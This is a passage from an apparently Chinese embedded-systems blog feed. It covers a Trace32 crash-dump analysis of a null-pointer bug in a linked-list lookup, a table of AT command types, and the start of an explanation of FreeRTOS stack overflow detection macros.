</span></span><span class="line"><span class="cl">  <span class="o">?</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">recv_msg</span> <span class="o">=</span> <span class="p">(</span><span class="n">id</span> <span class="o">=</span> <span class="n">MSG_ID_POC</span><span class="p">,</span> <span class="n">payload</span> <span class="o">=</span> <span class="mh">0x80A72D18</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">  <span class="n">ret</span> <span class="o">=</span> <span class="o">-</span><span class="mi">2134035396</span>
</span></span><span class="line"><span class="cl">  <span class="n">__FUNCTION__</span> <span class="o">=</span> <span class="p">(</span><span class="mi">113</span><span class="p">,</span> <span class="mi">108</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">99</span><span class="p">,</span> <span class="mi">111</span><span class="p">,</span> <span class="mi">114</span><span class="p">,</span> <span class="mi">103</span><span class="p">,</span> <span class="mi">101</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">112</span><span class="p">,</span> <span class="mi">105</span><span class="p">,</span> <span class="mi">95</span><span class="p">,</span> <span class="mi">116</span><span class="p">,</span> <span class="mi">97</span><span class="p">,</span> <span class="mi">115</span><span class="p">,</span> <span class="mi">107</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">g_pcm_play_ctx</span><span class="p">.</span><span class="n">pcm_play_handle</span> <span class="o">=</span> <span class="nf">ql_pcm_open</span><span class="p">(</span><span class="o">&amp;</span><span class="n">config</span><span class="p">,</span> <span class="n">flag</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="nf">prvTaskExitError</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">end</span> <span class="n">of</span> <span class="n">frame</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>可以看到，在Trace32 里面不仅可以看到当前出现问题时的调用栈关系，还可以看到函数参数，变量的具体值，对于分析问题的来龙去脉非常有利。</p>
<p>从调用栈看，当前正在调用接口ql_fopen( file_name = 0x80CD3614, mode = 0x6032500C)打开文件，输入查看变量的指令来查看地址 0x80CD3614，0x6032500C的数据：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">v.v %s (char *)0x80CD3614
</span></span><span class="line"><span class="cl">v.v %s (char *)0x6032500C
</span></span></code></pre></td></tr></table>
</div>
</div><p>可以看到当前打开的文件是&quot;UFS:/corget/config.txt&quot;，打开方式为 &ldquo;wb&rdquo;。

<link rel="stylesheet" href=https://hacperme.com/css/hugo-easy-gallery.css />
<div class="box" >
  <figure  itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
    <div class="img">
      <img itemprop="thumbnail" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%201.78fnrbowyhs0.png" />
    </div>
    <a href="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%201.78fnrbowyhs0.png" itemprop="contentUrl"></a>
  </figure>
</div>
</p>
<p>结合源码和调用栈来看，ql_fopen内部调用ql_file_is_opened(file_name = 0x80CD3614) 检查UFS:/corget/config.txt是否在已打开的文件列表内。


<div class="box" >
  <figure  itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
    <div class="img">
      <img itemprop="thumbnail" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%202.37ocqw9ddjg0.png" />
    </div>
    <a href="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%202.37ocqw9ddjg0.png" itemprop="contentUrl"></a>
  </figure>
</div>
</p>
<p>然后ql_file_is_opened 内部会调用 ql_open_file_get_info 遍历打开的文件信息列表，查找文件是否已打开，从dump和源码可以知道，当前总共打开了8个文件，ql_file_is_opened 中 position = 7，也就是当前在获取最后一个文件的信息（从0开始，0~7）。


<div class="box" >
  <figure  itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
    <div class="img">
      <img itemprop="thumbnail" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%203.5l1t54o27l00.png" />
    </div>
    <a href="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%203.5l1t54o27l00.png" itemprop="contentUrl"></a>
  </figure>
</div>
</p>
<p>最终在ql_open_file_get_info里访问了空指针死机，ql_open_file_get_info里面</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">err = 0
</span></span><span class="line"><span class="cl">node = 0x0 -&gt; NULL
</span></span></code></pre></td></tr></table>
</div>
</div>

<div class="box" >
  <figure  itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
    <div class="img">
      <img itemprop="thumbnail" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%204.14pnhuh5bcik.png" />
    </div>
    <a href="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%204.14pnhuh5bcik.png" itemprop="contentUrl"></a>
  </figure>
</div>

<p>根据代码可以看到是ql_open_file_get_info里面memcpy(file_info, node→data, node→size)这里访问了空指针，可以结合dump和linklist的数据结构定义交叉验证:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="k">typedef</span> <span class="k">struct</span> <span class="n">node</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="k">struct</span> <span class="n">node</span> <span class="o">*</span> <span class="n">next</span><span class="p">;</span> <span class="c1">// 4 bytes
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">datasize_t</span> <span class="n">size</span><span class="p">;</span> <span class="c1">// 1 bytes
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>    <span class="kt">data_t</span> <span class="n">data</span><span class="p">[</span><span class="mi">1</span><span class="p">];</span> <span class="c1">// 4 bytes
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span> <span class="n">linklist</span><span class="p">;</span> <span class="c1">// 9 bytes
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>

<div class="box" >
  <figure  itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
    <div class="img">
      <img itemprop="thumbnail" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%205.2rjbg4i36ga0.png" />
    </div>
    <a href="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%205.2rjbg4i36ga0.png" itemprop="contentUrl"></a>
  </figure>
</div>

死机的汇编代码位置 ldrb r2,[r1,#0x5]，r1为0，偏移5个字节，刚好是memcpy(file_info, node→data, node→size)中的node→data。</p>
<p>为什么ql_open_file_get_info里会访问空指针？其实是linklist_node_find 这个函数的bug，查看全局变量ql_file_open_list的值和linklist_node_find的源码，可以定位到问题的原因是linklist_node_find的代码逻辑问题，查找链表节点中遍历链表是从(*linklist_handler)-&gt;header-&gt;next;开始，忽略了第一个节点，如果当前查找的节点是链表的最后一个节点，就会返回空节点。</p>
<p>linklist_node_find函数的源码如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">QuecOSStatus</span> <span class="nf">linklist_node_find</span><span class="p">(</span><span class="kt">linklist_handler_t</span> <span class="o">*</span> <span class="n">linklist_handler</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="n">i</span><span class="p">,</span> <span class="n">linklist</span> <span class="o">*</span> <span class="o">*</span> <span class="n">dest_node</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">int</span> 		 <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span> <span class="n">linklist_handler</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">kGeneralErr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="o">!</span> <span class="o">*</span><span class="n">linklist_handler</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">   	    <span class="k">return</span> <span class="n">kGeneralErr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">if</span><span class="p">(</span><span class="o">!</span> <span class="n">dest_node</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">	<span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">return</span> <span class="n">kGeneralErr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">linklist</span> <span class="o">*</span> <span class="n">temp_node</span> <span class="o">=</span> <span class="p">(</span><span class="o">*</span><span class="n">linklist_handler</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">header</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span><span class="p">(</span><span class="n">i</span> <span class="o">&gt;=</span> <span class="p">(</span><span class="o">*</span><span class="n">linklist_handler</span><span class="p">)</span><span class="o">-&gt;</span><span class="n">node_cnt</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">   		<span class="k">return</span> <span class="n">kGeneralErr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span><span class="p">(</span><span class="n">j</span><span class="o">=</span><span class="mi">0</span><span class="p">;</span> <span class="n">j</span><span class="o">&lt;=</span><span class="n">i</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="n">j</span> <span class="o">==</span> <span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="o">*</span><span class="n">dest_node</span> <span class="o">=</span> <span class="n">temp_node</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="n">temp_node</span> <span class="o">=</span> <span class="n">temp_node</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">	<span class="k">return</span> <span class="n">kNoErr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></td></tr></table>
</div>
</div>

<div class="box" >
  <figure  itemprop="associatedMedia" itemscope itemtype="http://schema.org/ImageObject">
    <div class="img">
      <img itemprop="thumbnail" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%206.6ei9ltmtxpo0.png" />
    </div>
    <a href="https://github.com/hacperme/picx_hosting/raw/master/20210507/Untitled%206.6ei9ltmtxpo0.png" itemprop="contentUrl"></a>
  </figure>
</div>

<p>通过Trace32分析dump文件，定位到了出现问题的源码位置，这个死机问题基本上完成了追根溯源，那么对于如何解决这个问题，你有什么建议？欢迎讨论。</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/qrcode_for_gh_b1444a13ac67_258.4g56jp6fs4y0.jpg" alt=""  />
</p>
]]></content:encoded>
    </item>
    <item>
      <title>AT 命令的类型及表示方式</title>
      <link>https://hacperme.com/posts/notes/2021-04-14-at_type/</link>
      <pubDate>Wed, 14 Apr 2021 07:39:54 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/2021-04-14-at_type/</guid>
      <description>类型 表示方式 解释 测试命令 AT+=? 查询该命令可输入的参数取值 查询命令 AT+? 查询该命令的当前参数设置 设置命令 AT+=[,[,[…]]] 设置参数 执行命令 AT+ 执</description>
      <content:encoded><![CDATA[<table>
<thead>
<tr>
<th>类型</th>
<th>表示方式</th>
<th>解释</th>
</tr>
</thead>
<tbody>
<tr>
<td>测试命令</td>
<td>AT+<!-- raw HTML omitted -->=?</td>
<td>查询该命令可输入的参数取值</td>
</tr>
<tr>
<td>查询命令</td>
<td>AT+<!-- raw HTML omitted -->?</td>
<td>查询该命令的当前参数设置</td>
</tr>
<tr>
<td>设置命令</td>
<td>AT+<!-- raw HTML omitted -->=<!-- raw HTML omitted -->[,<!-- raw HTML omitted -->[,<!-- raw HTML omitted -->[…]]]</td>
<td>设置参数</td>
</tr>
<tr>
<td>执行命令</td>
<td>AT+<!-- raw HTML omitted --></td>
<td>执行该命令的功能</td>
</tr>
</tbody>
</table>
]]></content:encoded>
    </item>
    <item>
      <title>FreeRTOS 中的栈溢出检测机制</title>
      <link>https://hacperme.com/posts/series/dump/2021-04-11-freertos_stack_overflow_checking/</link>
      <pubDate>Sun, 11 Apr 2021 23:26:09 +0800</pubDate>
      <guid>https://hacperme.com/posts/series/dump/2021-04-11-freertos_stack_overflow_checking/</guid>
      <description>FreeRTOS中的任务栈结构介绍 在FreeRTOS中，创建任务A、B、C三个任务，以栈的生长方向从高到低为例，其任务栈结构如下图所示： 1 2</description>
      <content:encoded><![CDATA[<h2 id="freertos中的任务栈结构介绍">FreeRTOS中的任务栈结构介绍</h2>
<p>在FreeRTOS中，创建任务A、B、C三个任务，以栈的生长方向从高到低为例，其任务栈结构如下图所示：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl">                           <span class="o">+-----------&gt;+--------+</span>        <span class="n">Low</span>
</span></span><span class="line"><span class="cl">                           <span class="o">|</span>            <span class="o">|</span>        <span class="o">|</span>         <span class="o">^</span>
</span></span><span class="line"><span class="cl">                           <span class="o">|</span>            <span class="o">|</span><span class="n">No</span> <span class="n">used</span> <span class="o">|</span>   <span class="n">SP</span>    <span class="o">|</span>
</span></span><span class="line"><span class="cl">                           <span class="o">|</span>            <span class="o">|--------|&lt;------</span>  <span class="o">|</span>
</span></span><span class="line"><span class="cl">                           <span class="o">|</span>            <span class="o">|</span>  <span class="n">regs</span>  <span class="o">|</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl">                           <span class="o">|</span>            <span class="o">+--------+</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl">                           <span class="o">|</span>            <span class="o">|</span> <span class="n">Func</span> <span class="mi">4</span> <span class="o">|</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="n">Low</span>   <span class="o">+---------------+</span>    <span class="o">|</span>            <span class="o">+--------+</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">^</span>    <span class="o">|</span>               <span class="o">|</span>    <span class="o">|</span>            <span class="o">|</span> <span class="n">Func</span> <span class="mi">3</span> <span class="o">|</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span> <span class="n">Task</span> <span class="n">C</span> <span class="n">stack</span>  <span class="o">|</span>    <span class="o">|</span>            <span class="o">+--------+</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">+-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-+</span>    <span class="o">|</span>            <span class="o">|</span> <span class="n">Func</span> <span class="mi">2</span> <span class="o">|</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span>     <span class="n">TCB</span>       <span class="o">|</span>    <span class="o">|</span>            <span class="o">+--------+</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">+---------------+----+</span>            <span class="o">|</span> <span class="n">Func</span> <span class="mi">1</span> <span class="o">|</span>         <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span>               <span class="o">|</span>           <span class="o">+----&gt;+--------+</span>        <span class="n">High</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span> <span class="n">Task</span> <span class="n">B</span> <span class="n">stack</span>  <span class="o">|</span>           <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">+-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-+-----------+</span>     <span class="n">Task</span> <span class="n">B</span> <span class="n">stack</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span>     <span class="n">TCB</span>       <span class="o">|</span>           
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">+---------------+</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span>               <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span> <span class="n">Task</span> <span class="n">A</span> <span class="n">stack</span>  <span class="o">|</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">+-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-</span> <span class="o">-+</span>
</span></span><span class="line"><span class="cl"> <span class="o">|</span>    <span class="o">|</span>     <span class="n">TCB</span>       <span class="o">|</span>
</span></span><span class="line"><span class="cl"><span class="n">High</span>  <span class="o">+---------------+</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在内存上可以先简单看作是每个任务按任务控制块（TCB）+ stack 依次存储，任务在执行过程中的上下文数据会保存在栈中，比如函数的局部变量，传递参数，返回地址等都会存储在栈里面。在task B的栈空间里，函数调用关系是 Func 1 调用 → Func 2  调用 → Func 3 调用 → Func 4。在这样的栈存储结构，任务在运行的过程中可能会出现下面两个问题：</p>
<ol>
<li>栈溢出导致的问题，如果任务中函数调用的层级过深，或者函数内部有定义占用空间较大的局部变量，则有可能在压栈的时候使用的空间超出了任务的栈空间大小，例如task B 中的函数调用层级过多，会导致task B 的数据写到task C的堆栈空间里，从而破坏task C的栈空间。</li>
<li>局部变量溢出导致的问题，以task B为例，如果在Func 4函数里面操作局部变量，不小心把局部变量“写穿了”，则有可能会把返回地址给覆盖了，Func 4返回时会跳转的错误的地址而出现异常，Func 4执行完也就无法返回到Func 3了，如果覆盖的空间较大，则有可能将数据写到task A的栈空间，从而导致task A的栈空间也被破坏。</li>
</ol>
<h2 id="freertos的栈溢出检测机制">FreeRTOS的栈溢出检测机制</h2>
<p>根据FreeRTOS的官方文档介绍，FreeRTOS提供两种栈溢出的检测方法，可以通过配置configCHECK_FOR_STACK_OVERFLOW 这个宏来选择使用哪种方法，当kernel检测到栈溢出的情况之后，会调用钩子函数vApplicationStackOverflowHook，该函数的原型如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="kt">void</span> <span class="nf">vApplicationStackOverflowHook</span><span class="p">(</span> <span class="n">TaskHandle_t</span> <span class="n">xTask</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                    <span class="kt">signed</span> <span class="kt">char</span> <span class="o">*</span><span class="n">pcTaskName</span> <span class="p">);</span>
</span></span></code></pre></td></tr></table>
</div>
</div><h3 id="栈溢出检测方式1">栈溢出检测方式1</h3>
<p>第一种检测方式的原理是检查当前任务的栈顶指针是否在该任务的栈空间范围之内，如果栈顶指针不在任务的栈空间，则会触发钩子函数vApplicationStackOverflowHook，通过配置宏configCHECK_FOR_STACK_OVERFLOW为1使用这种检测方式，具体可以看下include/stack_macros.h路径的源码：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if ( ( configCHECK_FOR_STACK_OVERFLOW == 1 ) &amp;&amp; ( portSTACK_GROWTH &lt; 0 ) )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cm">/* Only the current stack state is to be checked. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#define taskCHECK_FOR_STACK_OVERFLOW()                                                            \
</span></span></span><span class="line"><span class="cl"><span class="cp">    {                                                                                                 \
</span></span></span><span class="line"><span class="cl"><span class="cp">        </span><span class="cm">/* Is the currently saved stack pointer within the stack limit? */</span><span class="cp">                            \
</span></span></span><span class="line"><span class="cl"><span class="cp">        if( pxCurrentTCB-&gt;pxTopOfStack &lt;= pxCurrentTCB-&gt;pxStack )                                     \
</span></span></span><span class="line"><span class="cl"><span class="cp">        {                                                                                             \
</span></span></span><span class="line"><span class="cl"><span class="cp">            vApplicationStackOverflowHook( ( TaskHandle_t ) pxCurrentTCB, pxCurrentTCB-&gt;pcTaskName ); \
</span></span></span><span class="line"><span class="cl"><span class="cp">        }                                                                                             \
</span></span></span><span class="line"><span class="cl"><span class="cp">    }
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* configCHECK_FOR_STACK_OVERFLOW == 1 */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="cm">/*-----------------------------------------------------------*/</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#if ( ( configCHECK_FOR_STACK_OVERFLOW == 1 ) &amp;&amp; ( portSTACK_GROWTH &gt; 0 ) )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cm">/* Only the current stack state is to be checked. */</span>
</span></span><span class="line"><span class="cl">    <span class="cp">#define taskCHECK_FOR_STACK_OVERFLOW()                                                            \
</span></span></span><span class="line"><span class="cl"><span class="cp">    {                                                                                                 \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                                                                      \
</span></span></span><span class="line"><span class="cl"><span class="cp">        </span><span class="cm">/* Is the currently saved stack pointer within the stack limit? */</span><span class="cp">                            \
</span></span></span><span class="line"><span class="cl"><span class="cp">        if( pxCurrentTCB-&gt;pxTopOfStack &gt;= pxCurrentTCB-&gt;pxEndOfStack )                                \
</span></span></span><span class="line"><span class="cl"><span class="cp">        {                                                                                             \
</span></span></span><span class="line"><span class="cl"><span class="cp">            vApplicationStackOverflowHook( ( TaskHandle_t ) pxCurrentTCB, pxCurrentTCB-&gt;pcTaskName ); \
</span></span></span><span class="line"><span class="cl"><span class="cp">        }                                                                                             \
</span></span></span><span class="line"><span class="cl"><span class="cp">    }
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="cm">/* configCHECK_FOR_STACK_OVERFLOW == 1 */</span><span class="cp">
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="cm">/*-----------------------------------------------------------*/</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>在分析代码之前要留意一下栈的生长方向，其中宏 portSTACK_GROWTH 表示栈的生长方向，当配置portSTACK_GROWTH &lt; 0 时，说明栈的生长方向是从高地址向低地址生长，反之，当配置portSTACK_GROWTH &gt; 0 是，表示栈是从低地址向高地址增长。pxTopOfStack 记录了当前任务的栈顶指针，pxStack是当前任务栈的起始地址，而pxEndOfStack是当前任务栈的结束地址。从代码可以看出此方式是直接通过判断当前堆栈指针是否超出了任务栈空间的合法范围来检测溢出的，如果当前任务栈被其他任务破坏了，这种方式就检测不出来。</p>
<h3 id="栈溢出检测方式2">栈溢出检测方式2</h3>
<p>方式2的检测原理是在任务栈初始化的时候，填充固定数据0xA5，kernel 会检查任务栈的最后16个字节的数据是否被篡改，如果发现这16个字节不是0xA5，则会触发vApplicationStackOverflowHook的调用，通过配置configCHECK_FOR_STACK_OVERFLOW &gt;1 来使用此方式。以下是该检测方式的源码，分析时要注意栈的增长方向：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="cp">#if ( ( configCHECK_FOR_STACK_OVERFLOW &gt; 1 ) &amp;&amp; ( portSTACK_GROWTH &lt; 0 ) )
</span></span></span><span class="line"><span class="cl"><span class="cp"></span>
</span></span><span class="line"><span class="cl">    <span class="cp">#define taskCHECK_FOR_STACK_OVERFLOW()                                                            \
</span></span></span><span class="line"><span class="cl"><span class="cp">    {                                                                                                 \
</span></span></span><span class="line"><span class="cl"><span class="cp">        const uint32_t * const pulStack = ( uint32_t * ) pxCurrentTCB-&gt;pxStack;                       \
</span></span></span><span class="line"><span class="cl"><span class="cp">        const uint32_t ulCheckValue = ( uint32_t ) 0xa5a5a5a5;                                        \
</span></span></span><span class="line"><span class="cl"><span class="cp">                                                                                                      \
